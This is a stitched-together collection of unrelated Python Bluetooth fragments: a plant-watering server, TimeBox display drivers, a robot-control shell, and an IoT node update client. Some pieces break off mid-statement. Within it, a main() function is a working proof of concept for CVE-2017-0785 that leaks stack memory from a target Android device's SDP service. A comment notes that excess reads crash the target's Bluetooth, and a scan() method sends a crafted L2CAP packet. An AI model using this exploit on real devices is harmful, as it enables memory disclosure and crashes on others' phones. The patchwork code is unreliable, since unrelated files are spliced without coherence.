def _recv_client_data(client_socket: bluetooth.BluetoothSocket):
data = b''
tmp_char = client_socket.recv(1)
while tmp_char != b'\x00':
data += tmp_char
tmp_char = client_socket.recv(1)
return data
def client_loop(client: bt.BluetoothSocket, cursor: sqlite3.Cursor,
connection: sqlite3.Connection):
while True:
try:
print('Try receiving')
raw = client.recv(1024)
print(f'Received {len(raw)} bytes: {raw}')
query = decode_message(raw)
query_type = query.WhichOneof("query")
print(f'Query type: {query_type}')
if query_type == 'get_ids':
response = encode_ids(cursor)
elif query_type == 'get_flower_data':
flower_id = query.get_flower_data.flower_id
since_time = query.get_flower_data.since_time
response = encode_flower_data(flower_id, since_time, cursor)
elif query_type == 'set_watering':
flower_id = query.set_watering.flower_id
hour = query.set_watering.hour
days = query.set_watering.days
set_watering(flower_id, hour, days, cursor, connection)
response = encode_watering_set()
else:
continue
raw_send = response.SerializeToString()
client.send(raw_send)
print(f'Sent {len(raw_send)} bytes: {raw_send}')
except bt.btcommon.BluetoothError as e:
print(e)
client.close()
break
def listenThread(thread_sock: bluetooth.BluetoothSocket):
print('Running listen thread')
message = b''
while True:
byte_received = thread_sock.recv(1)
message += byte_received
if byte_received == b'\n':
print('message received: ' + message.decode('utf-8').strip())
message = b''
def main():
target_bd_addr = args['BD_ADDR']
l2cap_mtu = 50
sock = BluetoothSocket(L2CAP)
set_l2cap_mtu(sock, l2cap_mtu)
sock.connect((target_bd_addr, PSM_SDP))
print('Sending the first SDP_SERVICE_SEARCH_REQ PDU')
params = {
'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
'MaximumServiceRecordCount': 0xFFFF,
'ContinuationState': b'\x00'
}
sock.send(sdp_service_search_req(params))
sdp_service_search_rsp = sock.recv(l2cap_mtu)
info_len = sdp_service_search_rsp[-3]
if info_len != ANDROID_CONT_STATE_INFO_LEN:
print(sdp_service_search_rsp[-3])
print('Invalid continuation state received.')
sys.exit(1)
stack = b''
for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃
print('Sending packet %d' % i)
params = {
'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
'MaximumServiceRecordCount': 0x0001,
'ContinuationState': sdp_service_search_rsp[-3:]
}
sock.send(sdp_service_search_req(params))
sdp_service_search_rsp = sock.recv(l2cap_mtu)
# Leaked info is in ServiceRecordHandleList field
stack += sdp_service_search_rsp[9:-3]
sock.close()
print(hexdump(stack))
if len(stack) > 20:
print('CVE-2017-0785')
class BluetoothInterface:
def __init__(self):
self.rfcomm = BluetoothSocket(RFCOMM)
self.rfcomm.connect(("00:21:13:01:D1:59", 1))
self.rfcomm.settimeout(0.01)
def send(self, message):
try:
self.rfcomm.send(message)
except Exception:
print_exc()
def receive(self):
return self.rfcomm.recv(1024)
def scan(self, bd_addr: str):
print('[DEBUG] call StackScanner.scan()')
remote_addr = bd_addr
psm = 0x0001
l2_sock = BluetoothSocket(L2CAP)
code = 0x08
identifier = 0x01
length = 0x0001
data = b'\xff'
# payload = struct.pack('<BBHC', code, identifier, length, data)
payload = struct.pack('<BBH1s', code, identifier, length, data)
l2_sock.connect((remote_addr, psm))
l2_sock.send(payload)
data = l2_sock.recv(1024)
def discover():
TimeBoxList = {}
print('scanning for timebox')
discovered = discover_devices(duration=5, lookup_names=True)
if (not len(discovered)):
print("no devices discovered")
return
else:
for a, n in discovered:
if (n and 'timebox' in n.lower()):
print('checking device %s' % a)
try:
sock = BluetoothSocket(bluetooth.RFCOMM)
sock.connect((a, 4))
hello = [ord(c) for c in sock.recv(256)]
if (hello == TIMEBOX_HELLO):
TimeBoxList['address'] = a
TimeBoxList['sock'] = sock
break
else:
print('invalid hello received')
sock.close()
except:
pass
if (not 'address' in TimeBoxList):
print('could not find a timebox ...')
return
else:
print("Found device : " + TimeBoxList['address'])
return
class TimeBox:
"""Class TimeBox encapsulates the TimeBox communication."""
DEFAULTHOST = "11:75:58:48:2F:DA"
COMMANDS = {
"switch radio": 0x05,
"set volume": 0x08,
"get volume": 0x09,
"set mute": 0x0a,
"get mute": 0x0b,
"set date time": 0x18,
"set image": 0x44,
"set view": 0x45,
"set animation frame": 0x49,
"get temperature": 0x59,
"get radio frequency": 0x60,
"set radio frequency": 0x61
}
socket = None
messages = None
message_buf = []
def __init__(self):
self.messages = TimeBoxMessages()
def connect(self, host=None, port=4):
"""Open a connection to the TimeBox."""
# Create the client socket
if host is None:
host = self.DEFAULTHOST
#print("connecting to %s at %s" % (self.host, self.port))
self.socket = BluetoothSocket(RFCOMM)
self.socket.connect((host, port))
self.socket.setblocking(0)
def close(self):
"""Closes the connection to the TimeBox."""
self.socket.close()
def receive(self, num_bytes=1024):
"""Receive n bytes of data from the TimeBox and put it in the input buffer.
Returns the number of bytes received."""
ready = select.select([self.socket], [], [], 0.1)
if ready[0]:
data = self.socket.recv(num_bytes)
self.message_buf += data
return len(data)
else:
return 0
def send_raw(self, data):
"""Send raw data to the TimeBox."""
return self.socket.send(data)
def send_payload(self, payload):
"""Send raw payload to the TimeBox. (Will be escaped, checksumed and
messaged between 0x01 and 0x02."""
msg = self.messages.make_message(payload)
return self.socket.send(bytes(msg))
def send_command(self, command, args=None):
"""Send command with optional arguments"""
if args is None:
args = []
if isinstance(command, str):
command = self.COMMANDS[command]
length = len(args) + 3
length_lsb = length & 0xff
length_msb = length >> 8
payload = [length_lsb, length_msb, command] + args
self.send_payload(payload)
def decode(self, msg):
"""remove leading 1, trailing 2 and checksum and un-escape"""
return self.messages.decode(msg)
def has_message(self):
"""Check if there is a complete message *or leading garbage data* in the input buffer."""
if len(self.message_buf) == 0:
return False
if self.message_buf[0] != 0x01:
return True
#endmarks = [x for x in self.message_buf if x == 0x02]
#return len(endmarks) > 0
return 0x02 in self.message_buf
def buffer_starts_with_garbage(self):
"""Check if the input buffer starts with data other than a message."""
if len(self.message_buf) == 0:
return False
return self.message_buf[0] != 0x01
def remove_garbage(self):
"""Remove data from the input buffer that is not the start of a message."""
pos = self.message_buf.index(
0x01) if 0x01 in self.message_buf else len(self.message_buf)
res = self.message_buf[0:pos]
self.message_buf = self.message_buf[pos:]
return res
def remove_message(self):
"""Remove a message from the input buffer and return it. Assumes it has been checked that
there is a complete message without leading garbage data"""
if not 0x02 in self.message_buf:
raise Exception('There is no message')
pos = self.message_buf.index(0x02) + 1
res = self.message_buf[0:pos]
self.message_buf = self.message_buf[pos:]
return res
def drop_message_buffer(self):
"""Drop all dat currently in the message buffer,"""
self.message_buf = []
def set_static_image(self, image):
"""Set the image on the TimeBox"""
msg = self.messages.static_image_message(image)
self.socket.send(bytes(msg))
def set_dynamic_images(self, images, frame_delay):
"""Set the image on the TimeBox"""
fnum = 0
for img in images:
msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
fnum = fnum + 1
self.socket.send(bytes(msg))
def show_temperature(self, color=None):
"""Show temperature on the TimeBox in Celsius"""
args = [0x01, 0x00]
if not color is None:
args += color
self.send_command("set view", args)
def show_clock(self, color=None):
"""Show clock on the TimeBox in the color"""
args = [0x00, 0x01]
if not color is None:
args += color
self.send_command("set view", args)
def clear_input_buffer(self):
"""Read all input from TimeBox and remove from buffer. """
while self.receive() > 0:
self.drop_message_buffer()
def clear_input_buffer_quick(self):
"""Quickly read most input from TimeBox and remove from buffer. """
while self.receive(512) == 512:
self.drop_message_buffer()
rfcomm.connect(('00:18:E5:03:F5:99', 1)) # Bricogeek
#rfcomm.connect(('98:D3:31:F6:1C:51', 1)) # white
#rfcomm.connect(('98:D3:31:70:13:AB', 1)) # green
#rfcomm.settimeout(None) # set blocking True
#rfcomm.settimeout(0.0) # set blocking False
#rfcomm.settimeout(0.01)
print("Connected")
#t1 = time.time()
while (True):
try:
data = rfcomm.recv(1024)
print(len(data))
except BluetoothError as error:
if str(error) != 'timed out':
raise
#try:
# rfcomm.send(data)
#except BluetoothError as error:
# if str(error) != 'timed out':
# raise
#t2 = time.time()
#print(t2-t1)
#t1 = time.time()
class Interp(cmd.Cmd):
prompt = "balitronics > "
def __init__(self,
tty=None,
baudrate=38400,
addr='98:D3:31:70:13:AB',
port=1):
cmd.Cmd.__init__(self)
self.escape = "\x01" # C-a
self.quitraw = "\x02" # C-b
self.serial_logging = False
self.default_in_log_file = "/tmp/eurobotics.in.log"
self.default_out_log_file = "/tmp/eurobotics.out.log"
self.ser = None
if (tty is not None):
self.ser = serial.Serial(tty, baudrate=baudrate)
else:
self.rfcomm = BluetoothSocket(RFCOMM)
self.rfcomm.connect((addr, port))
self.rfcomm.settimeout(0.01)
def do_quit(self, args):
if self.ser is None:
self.rfcomm.close()
return True
def do_log(self, args):
"""Activate serial logs.
log <filename> logs input and output to <filename>
log <filein> <fileout> logs input to <filein> and output to <fileout>
log logs to /tmp/eurobotics.log or the last used file"""
if self.serial_logging:
log.error("Already logging to %s and %s" %
(self.ser.filein, self.ser.fileout))
else:
self.serial_logging = True
files = [os.path.expanduser(x) for x in args.split()]
if len(files) == 0:
files = [self.default_in_log_file, self.default_out_log_file]
elif len(files) == 1:
self.default_in_log_file = files[0]
self.default_out_log_file = None
elif len(files) == 2:
self.default_in_log_file = files[0]
self.default_out_log_file = files[1]
else:
print("Can't parse arguments")
self.ser = SerialLogger(self.ser, *files)
log.info("Starting serial logging to %s and %s" %
(self.ser.filein, self.ser.fileout))
def do_unlog(self, args):
if self.serial_logging:
log.info("Stopping serial logging to %s and %s" %
(self.ser.filein, self.ser.fileout))
self.ser = self.ser.ser
self.serial_logging = False
else:
log.error("No log to stop")
def do_raw_tty(self, args):
"Switch to RAW mode"
stdin = os.open("/dev/stdin", os.O_RDONLY)
stdout = os.open("/dev/stdout", os.O_WRONLY)
stdin_termios = termios.tcgetattr(stdin)
raw_termios = stdin_termios[:]
try:
log.info("Switching to RAW mode")
# iflag
raw_termios[0] &= ~(termios.IGNBRK | termios.BRKINT |
termios.PARMRK | termios.ISTRIP | termios.INLCR
| termios.IGNCR | termios.ICRNL | termios.IXON)
# oflag
raw_termios[1] &= ~termios.OPOST
# cflag
raw_termios[2] &= ~(termios.CSIZE | termios.PARENB)
raw_termios[2] |= termios.CS8
# lflag
raw_termios[3] &= ~(termios.ECHO | termios.ECHONL | termios.ICANON
| termios.ISIG | termios.IEXTEN)
termios.tcsetattr(stdin, termios.TCSADRAIN, raw_termios)
mode = "normal"
while True:
ins, outs, errs = select([stdin, self.ser], [], [])
for x in ins:
if x == stdin:
c = os.read(stdin, 1)
if mode == "escape":
mode == "normal"
if c == self.escape:
self.ser.write(self.escape)
elif c == self.quitraw:
return
else:
self.ser.write(self.escape)
self.ser.write(c)
else:
if c == self.escape:
mode = "escape"
else:
self.ser.write(c)
elif x == self.ser:
os.write(stdout, self.ser.read(1))
finally:
termios.tcsetattr(stdin, termios.TCSADRAIN, stdin_termios)
log.info("Back to normal mode")
def do_tm_rfcomm(self, args):
self.rfcomm.settimeout(1.)
self.rfcomm.send("event power off\n\r")
time.sleep(0.1)
self.rfcomm.send("event tm on\n\r")
t1 = t2 = time.time()
self.rfcomm.settimeout(0.01)
received = self.rfcomm.recv(1)
while t2 - t1 < 1:
try:
self.rfcomm.settimeout(0.01)
#received.append(self.rfcomm.recv(1024))
received += self.rfcomm.recv(1024)
except BluetoothError as error:
if str(error) != 'timed out':
raise
t2 = time.time()
self.rfcomm.send("event tm on\n\r")
time.sleep(0.1)
print(received)
def do_tm_test(self, args):
self.rfcomm.settimeout(1.)
self.rfcomm.send("\n\revent tm on\n\r")
self.rfcomm.settimeout(0.1)
#self.rfcomm.settimeout(None) # set blocking True
#self.rfcomm.settimeout(0.0) # set blocking False
time.sleep(5)
t1 = time.time()
while time.time() - t1 < 10:
try:
received = self.rfcomm.recv(4096)
print("rx", len(received))
received = 0
#except BluetoothError as error:
except:
raise
#if str(error) != 'timed out':
# raise
#if str(error) != 'Resource temporarily unavailable':
# raise
def do_raw_rfcomm(self, args):
"Switch to RAW mode"
stdin = os.open("/dev/stdin", os.O_RDONLY)
stdout = os.open("/dev/stdout", os.O_WRONLY)
stdin_termios = termios.tcgetattr(stdin)
raw_termios = stdin_termios[:]
try:
log.info("Switching to RAW mode")
# iflag
raw_termios[0] &= ~(termios.IGNBRK | termios.BRKINT |
termios.PARMRK | termios.ISTRIP | termios.INLCR
| termios.IGNCR | termios.ICRNL | termios.IXON)
# oflag
raw_termios[1] &= ~termios.OPOST
# cflag
raw_termios[2] &= ~(termios.CSIZE | termios.PARENB)
raw_termios[2] |= termios.CS8
# lflag
raw_termios[3] &= ~(termios.ECHO | termios.ECHONL | termios.ICANON
| termios.ISIG | termios.IEXTEN)
termios.tcsetattr(stdin, termios.TCSADRAIN, raw_termios)
#i = 0
mode = "normal"
while True:
#ins,outs,errs=select([stdin,self.ser],[],[])
ins, outs, errs = select([stdin, self.rfcomm], [], [])
for x in ins:
if x == stdin:
c = os.read(stdin, 1)
if mode == "escape":
mode == "normal"
if c == self.escape:
#self.ser.write(self.escape)
self.rfcomm.settimeout(1.)
self.rfcomm.send(self.escape)
elif c == self.quitraw:
return
else:
#self.ser.write(self.escape)
#self.ser.write(c)
self.rfcomm.settimeout(1.)
self.rfcomm.send(self.escape)
else:
if c == self.escape:
mode = "escape"
else:
#time.sleep(0.1)
#self.ser.write(c)
self.rfcomm.settimeout(1.)
self.rfcomm.send(c)
#elif x == self.ser:
elif x == self.rfcomm:
#os.write(stdout,self.ser.read())
#self.rfcomm.settimeout(0.01)
#os.write(stdout,self.rfcomm.recv(1022))
try:
self.rfcomm.settimeout(0.0) # set blocking False
received = self.rfcomm.recv(4096)
os.write(stdout, received)
except:
pass
#except BluetoothError as error:
# if str(error) != 'timed out':
# raise
finally:
termios.tcsetattr(stdin, termios.TCSADRAIN, stdin_termios)
log.info("Back to normal mode")
def do_centrifugal(self, args):
try:
sa, sd, aa, ad = [int(x) for x in shlex.shlex(args)]
except:
print("args: speed_a, speed_d, acc_a, acc_d")
return
print(sa, sd, aa, ad)
time.sleep(10)
self.ser.write("traj_speed angle %d\n" % (sa))
time.sleep(0.1)
self.ser.write("traj_speed distance %d\n" % (sd))
time.sleep(0.1)
self.ser.write("traj_acc angle %d\n" % (aa))
time.sleep(0.1)
self.ser.write("traj_acc distance %d\n" % (ad))
time.sleep(0.1)
self.ser.write("goto da_rel 800 180\n")
time.sleep(3)
self.ser.flushInput()
self.ser.write("position show\n")
time.sleep(1)
print(self.ser.read())
def do_traj_acc(self, args):
try:
name, acc = [x for x in shlex.shlex(args)]
except:
print("args: cs_name acc")
return
acc = int(acc)
self.ser.flushInput()
self.ser.write("quadramp %s %d %d 0 0\n" % (name, acc, acc))
time.sleep(1)
print(self.ser.read())
def do_traj_speed(self, args):
try:
name, speed = [x for x in shlex.shlex(args)]
except:
print("args: cs_name speed")
return
speed = int(speed)
self.ser.flushInput()
self.ser.write("traj_speed %s %d\n" % (name, speed))
time.sleep(1)
print(self.ser.read())
def do_hc05_stress(self, args):
#self.ser.flushInput()
#self.ser.flushInput()
for i in range(1000):
for j in range(9):
self.rfcomm.settimeout(1.)
self.rfcomm.send(str(j))
#print(str(i)+'\n'))
data = ''
for i in range(1000):
for j in range(9):
data += self.rfcomm.recv(1)
for i in range(1000):
for j in range(9):
print(data[i])
def do_tune(self, args):
try:
name, tlog, cons, gain_p, gain_i, gain_d = [
x for x in shlex.shlex(args)
]
except:
print("args: cs_name, time_ms, consigne, gain_p, gain_i, gain_d")
return
# Test parameters
tlog = float(tlog) / 1000.0
cons = int(cons)
gain_p = int(gain_p)
gain_i = int(gain_i)
gain_d = int(gain_d)
#print(name, cons, gain_p, gain_i, gain_d)
# Set position, gains, set tm on and goto consign
self.ser.flushInput()
self.ser.write("position set 1500 1000 0\n")
time.sleep(0.1)
if name == "d":
self.ser.write("gain distance %d %d %d\n" %
(gain_p, gain_i, gain_d))
time.sleep(0.1)
self.ser.write("echo off\n")
#time.sleep(2)
#print(self.ser.read())
print("goto d_rel %d\n" % (cons))
self.ser.write("event tm on\n")
self.ser.flushInput()
time.sleep(0.1)
self.ser.write("goto d_rel %d\n" % (cons))
elif name == "a":
self.ser.write("gain angle %d %d %d\n" % (gain_p, gain_i, gain_d))
time.sleep(0.1)
self.ser.write("echo off\n")
#time.sleep(2)
#print(self.ser.read())
print("goto d_rel %d\n" % (cons))
self.ser.write("event tm on\n")
self.ser.flushInput()
time.sleep(0.1)
self.ser.write("goto a_rel %d\n" % (cons))
else:
print("unknow cs name")
return
# Telemetry reading
tm_data = ''
t1 = time.time()
self.ser.flushInput()
while True:
tm_data += self.ser.read()
# Break after test time
t2 = time.time()
if tlog and (t2 - t1) >= tlog:
tlog = 0
self.ser.write("\n\r")
time.sleep(0.1)
self.ser.write("event tm off\n")
self.ser.write("echo on\n")
time.sleep(2)
self.ser.flushInput()
time.sleep(2)
self.ser.flushInput()
break
# Telemetry parser
i = 0
time_ms = np.zeros(0)
cons = f_cons = err = feedback = out = np.zeros(0)
v_cons = v_feedback = np.zeros(1)
a_cons = a_feedback = a_cons = a_feedback = np.zeros(2)
TM_HEAD_BYTE_0 = '\xFB'
TM_HEAD_BYTE_1 = '\xBF'
TM_TAIL_BYTE_0 = '\xED'
TM_SIZE = 48
TM_STRUCT = 'IiiiiiiiiiiBB'
head = TM_HEAD_BYTE_0 + TM_HEAD_BYTE_1
tm_packets = tm_data.split(head)
#print(tm_packets))
for data in tm_packets:
if data[-1] == TM_TAIL_BYTE_0 and len(data) == (TM_SIZE - 2):
tm_data = unpack(TM_STRUCT, data)
#print(tm_data, type(tm_data)))
time_ms = np.append(time_ms, tm_data[0])
#cons = np.append(cons, tm_data[1])
#f_cons = np.append(f_cons, tm_data[2])
#err = np.append(err, tm_data[3])
#feedback = np.append(feedback, tm_data[4])
#out = np.append(out, tm_data[5])
cons = np.append(cons, tm_data[6])
f_cons = np.append(f_cons, tm_data[7])
err = np.append(err, tm_data[8])
feedback = np.append(feedback, tm_data[9])
out = np.append(out, tm_data[10])
if i > 0:
v_cons = np.append(v_cons, (f_cons[i] - f_cons[i - 1]) /
(time_ms[i] - time_ms[i - 1]))
v_feedback = np.append(v_feedback,
(feedback[i] - feedback[i - 1]) /
(time_ms[i] - time_ms[i - 1]))
if i > 1:
a_cons = np.append(a_cons, (v_cons[i] - v_cons[i - 1]) /
(time_ms[i] - time_ms[i - 1]))
a_feedback = np.append(
a_feedback, (v_feedback[i] - v_feedback[i - 1]) /
(time_ms[i] - time_ms[i - 1]))
i += 1
# Telemetry stuff
"""
# Telemetry parsing
t1 = time.time()
while True:
# Break after test time
t2 = time.time()
if tlog and (t2 - t1) >= tlog:
tlog = 0
self.ser.write("event tm off\n")
break
# read log data
time.sleep(TS/10000.0)
line = self.ser.readline()
tm_data = struct.struct('Iiiiiiiiiiic')
print(line)
#m = re.match("(-?\+?\d+).(-?\+?\d+): \((-?\+?\d+),(-?\+?\d+),(-?\+?\d+)\) "
# "%s cons= (-?\+?\d+) fcons= (-?\+?\d+) err= (-?\+?\d+) "
# "in= (-?\+?\d+) out= (-?\+?\d+)"%(name), line)
m = re.match("%s (\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+)"%(name), line)
# data logging
if m:
#print(line)
#print(m.groups())
t = np.append(t, i*TS)
time_ms = np.append(time_ms, int(m.groups()[0]))
cons = np.append(cons, int(m.groups()[1]))
f_cons = np.append(f_cons, int(m.groups()[2]))
err = np.append(err, int(m.groups()[3]))
feedback = np.append(feedback, int(m.groups()[4]))
out = np.append(out, int(m.groups()[5]))
if i>0:
v_cons = np.append(v_cons, (f_cons[i] - f_cons[i-1])/(time_ms[i]-time_ms[i-1]))
v_feedback = np.append(v_feedback, (feedback[i] - feedback[i-1])/(time_ms[i]-time_ms[i-1]))
if i>1:
a_cons = np.append(a_cons, (v_cons[i] - v_cons[i-1])/(time_ms[i]-time_ms[i-1]))
a_feedback = np.append(a_feedback, (v_feedback[i] - v_feedback[i-1])/(time_ms[i]-time_ms[i-1]))
i += 1
continue
# trajectory end
m = re.match("returned", line)
if m:
print(line.rstrip())
"""
time_ms = time_ms - time_ms[0]
plt.figure(1)
plt.subplot(311)
plt.plot(time_ms, v_cons, '.-', label="consigna")
plt.plot(time_ms, v_feedback, '.-', label="feedback")
plt.ylabel('v (pulsos/Ts)')
plt.grid(True)
plt.legend()
plt.title('%s kp=%s, ki=%d, kd=%d' % (name, gain_p, gain_i, gain_d))
plt.subplot(312)
plt.plot(time_ms, a_cons, '.-', label="consigna")
plt.plot(time_ms, a_feedback, '.-', label="feedback")
plt.ylabel('a (pulsos/Ts^2)')
plt.grid(True)
plt.legend()
plt.subplot(313)
plt.plot(time_ms, out, '.-')
plt.xlabel('t (ms)')
plt.ylabel('u (cuentas)')
plt.grid(True)
plt.figure(2)
plt.subplot(311)
plt.plot(time_ms, f_cons - feedback[0], '.-', label="consigna")
plt.plot(time_ms, feedback - feedback[0], '.-', label="feedback")
plt.ylabel('posicion (pulsos)')
plt.grid(True)
plt.legend()
plt.title('%s kp=%s, ki=%d, kd=%d' % (name, gain_p, gain_i, gain_d))
plt.subplot(312)
plt.plot(time_ms, err, '.-')
plt.xlabel('t (ms)')
plt.ylabel('error (pulsos)')
plt.grid(True)
plt.subplot(313)
plt.plot(time_ms, out, '.-')
plt.xlabel('t (ms)')
plt.ylabel('u (cuentas)')
plt.grid(True)
plt.show()
class TimeBox:
"""Class TimeBox encapsulates the TimeBox communication."""
DEFAULTHOST = config.timebox_mac
COMMANDS = {
"switch radio": 0x05,
"set volume": 0x08,
"get volume": 0x09,
"set mute": 0x0a,
"get mute": 0x0b,
"set date time": 0x18,
"set image": 0x44,
"set view": 0x45,
"set animation frame": 0x49,
"get temperature": 0x59,
"get radio frequency": 0x60,
"set radio frequency": 0x61
}
socket = None
messages = None
message_buf = []
def __init__(self):
self.messages = TimeBoxMessages()
def show_text(self, txt, speed=20, font=None):
"""
Display text & scroll, call is blocking
"""
if (type(txt) is not list) or (len(txt)==0) or (type(txt[0]) is not tuple):
raise Exception("a list of tuple is expected")
im = draw_multiple_to_image(txt, font)
slices = horizontal_slices(im)
for i, s in enumerate(slices):
#s.save("./debug/%s.bmp"%i)
self.set_static_image(build_img(s))
time.sleep(1.0/speed)
def show_text2(self, txt, font=None):
"""
Use dynamic_image_message to display scolling text
Cannot go faster than 1fps
"""
if (type(txt) is not list) or (len(txt)==0) or (type(txt[0]) is not tuple):
raise Exception("a list of tuple is expected")
imgs = []
im = divoom_image.draw_multiple_to_image(txt, font)
slices = horizontal_slices(im)
for i, s in enumerate(slices):
# s.save("./debug/%s.bmp"%i)
imgs.append(build_img(s))
print len(imgs)
self.set_dynamic_images(imgs)
def show_static_image(self, path):
self.set_static_image(divoom_image.load_image(path))
def show_animated_image(self, path):
self.set_dynamic_images(divoom_image.load_gif_frames(path))
def connect(self, host=None, port=4):
"""Open a connection to the TimeBox."""
# Create the client socket
if host is None:
host = self.DEFAULTHOST
#print("connecting to %s at %s" % (self.host, self.port))
self.socket = BluetoothSocket(RFCOMM)
self.socket.connect((host, port))
self.socket.setblocking(0)
def close(self):
"""Closes the connection to the TimeBox."""
self.socket.close()
def receive(self, num_bytes=1024):
"""Receive n bytes of data from the TimeBox and put it in the input buffer."""
ready = select.select([self.socket], [], [], 0.1)
if ready[0]:
self.message_buf += self.socket.recv(num_bytes)
def send_raw(self, data):
"""Send raw data to the TimeBox."""
return self.socket.send(data)
def send_payload(self, payload):
"""Send raw payload to the TimeBox. (Will be escaped, checksumed and
messaged between 0x01 and 0x02."""
msg = self.messages.make_message(payload)
return self.socket.send(str(bytearray(msg)))
def set_time(self, time=None):
if not time:
time=datetime.datetime.now()
args = []
args.append(int(str(time.year)[2:]))
args.append(int(str(time.year)[0:2]))
args.append(int(time.month))
args.append(int(time.day))
args.append(int(time.hour))
args.append(int(time.minute))
args.append(int(time.second))
args.append(0)
self.send_command("set date time", args)
def send_command(self, command, args=None):
"""Send command with optional arguments"""
if args is None:
args = []
if isinstance(command, str):
command = self.COMMANDS[command]
length = len(args)+3
length_lsb = length & 0xff
length_msb = length >> 8
payload = [length_lsb, length_msb, command] + args
self.send_payload(payload)
def decode(self, msg):
"""remove leading 1, trailing 2 and checksum and un-escape"""
return self.messages.decode(msg)
def has_message(self):
"""Check if there is a complete message *or leading garbage data* in the input buffer."""
if len(self.message_buf) == 0:
return False
if self.message_buf[0] != 0x01:
return True
endmarks = [x for x in self.message_buf if x == 0x02]
return len(endmarks) > 0
def buffer_starts_with_garbage(self):
"""Check if the input buffer starts with data other than a message."""
if len(self.message_buf) == 0:
return False
return self.message_buf[0] != 0x01
def remove_garbage(self):
"""Remove data from the input buffer that is nof the start of a message."""
if not 0x01 in self.message_buf:
pos = len(self.message_buf)
else:
pos = self.message_buf.index(0x01)
res = self.message_buf[0:pos]
self.message_buf = self.message_buf[pos:len(self.message_buf)]
return res
def remove_message(self):
"""Remove a message from the input buffer and return it. Assumes it has been checked that
there is a complete message without leading garbage data"""
if not 0x02 in self.message_buf:
raise Exception('There is no message')
pos = self.message_buf.index(0x02)+1
res = self.message_buf[0:pos]
self.message_buf = self.message_buf[pos:len(self.message_buf)]
return res
def set_static_image(self, image):
"""Set the image on the TimeBox"""
msg = self.messages.static_image_message(image)
self.socket.send(str(bytearray((msg))))
def set_dynamic_images(self, images, frame_delay=1):
"""Set the image on the TimeBox"""
fnum = 0
for img in images:
msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
fnum = fnum + 1
self.socket.send(str(bytearray((msg))))
def show_temperature(self, color=None):
"""Show temperature on the TimeBox in Celsius"""
args = [0x01, 0x00]
if color:
color = ImageColor.getrgb(color)
args += list(color)
self.send_command("set view", args)
def show_clock(self, color=None):
"""Show clock on the TimeBox in the color"""
args = [0x00, 0x01]
if color:
color = ImageColor.getrgb(color)
args += list(color)
self.send_command("set view", args)
class NodeBluetoothClient():
''' Tremium Node side bluetooth client which connects to the Tremium Hub '''
def __init__(self, config_file_path):
'''
Parameters
------
config_file_path (str) : path to the hub configuration file
'''
super().__init__()
# loading configurations
self.config_manager = NodeConfigurationManager(config_file_path)
log_file_path = os.path.join(
self.config_manager.config_data["node-file-transfer-dir"],
self.config_manager.config_data["bluetooth-client-log-name"])
# setting up logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)
log_handler = logging.handlers.WatchedFileHandler(log_file_path)
log_handler.setFormatter(
logging.Formatter('%(name)s - %(levelname)s - %(message)s'))
logger.addHandler(log_handler)
# defining connection to server
self.server_s = None
# connecting to local cache
try:
self.cache = NodeCacheModel(config_file_path)
except Exception as e:
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.error(
"{0} - NodeBluetoothClient failed to connect to cache {1}".
format(time_str, e))
raise
def __del__(self):
if self.server_s is not None:
self.server_s.close()
def _connect_to_server(self):
''' Establishes a connection with the Tremium Hub Bluetooth server '''
bluetooth_port = self.config_manager.config_data["bluetooth-port"]
try:
# creating a new socket
self.server_s = BluetoothSocket()
self.server_s.bind(
(self.config_manager.
config_data["bluetooth-adapter-mac-client"], bluetooth_port))
# connecting to the hub
time.sleep(0.25)
self.server_s.connect(
(self.config_manager.
config_data["bluetooth-adapter-mac-server"], bluetooth_port))
self.server_s.settimeout(
self.config_manager.config_data["bluetooth-comm-timeout"])
time.sleep(0.25)
# handling server connection failure
except Exception as e:
self.server_s.close()
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.error(
"{0} - NodeBluetoothClient failed to connect to server : {1}".
format(time_str, e))
raise
def _check_available_updates(self, node_id=None):
'''
Returns list of available update images from the Hub
Parameters
----------
node_id (str) : node id to give hub for update checking
'''
update_image_names = []
if node_id is None:
node_id = self.config_manager.config_data["node-id"]
try:
# pulling list of update image names
self._connect_to_server()
self.server_s.send(
bytes("CHECK_AVAILABLE_UPDATES {}".format(node_id), 'UTF-8'))
response_str = self.server_s.recv(
self.config_manager.config_data["bluetooth-message-max-size"]
).decode("utf-8")
update_image_names = response_str.split(",")
# if there are no updates
if update_image_names == [' ']: update_image_names = []
# logging completion
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.info("{0} - NodeBluetoothClient successfully checked available updates : {1}".\
format(time_str, str(update_image_names)))
except Exception as e:
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.error(
"{0} - NodeBluetoothClient failed to check Hub for updates : {1}"
.format(time_str, e))
self.server_s.close()
return update_image_names
def _get_update_file(self, update_file):
'''
Pulls the specified udate file from the Hub
Parameters
----------
update_file (str) : name of update file to fetch
'''
try:
# downloading file from hub
self._connect_to_server()
self.server_s.send(
bytes("GET_UPDATE {}".format(update_file), 'UTF-8'))
self._download_file(update_file)
# logging completion
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.info(
"{0} - NodeBluetoothClient successfully pulled update file ({1}) from Hub\
".format(time_str, update_file))
except Exception as e:
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.error(
"{0} - NodeBluetoothClient failed to pull update from Hub : {1}"
.format(time_str, e))
self.server_s.close()
def _download_file(self, file_name):
'''
Creates the specified file and writes the incoming Hub server data in it.
** assumes that the connection with the hub is already established
** no error handling
** does not close the existing connection (even if exception is thrown)
Parameters
----------
file_name (str) : name of the output file
'''
update_file_path = os.path.join(
self.config_manager.config_data["node-image-archive-dir"],
file_name)
try:
# writing incoming data to file
with open(update_file_path, "wb") as archive_file_h:
file_data = self.server_s.recv(
self.config_manager.
config_data["bluetooth-message-max-size"])
while file_data:
archive_file_h.write(file_data)
file_data = self.server_s.recv(
self.config_manager.
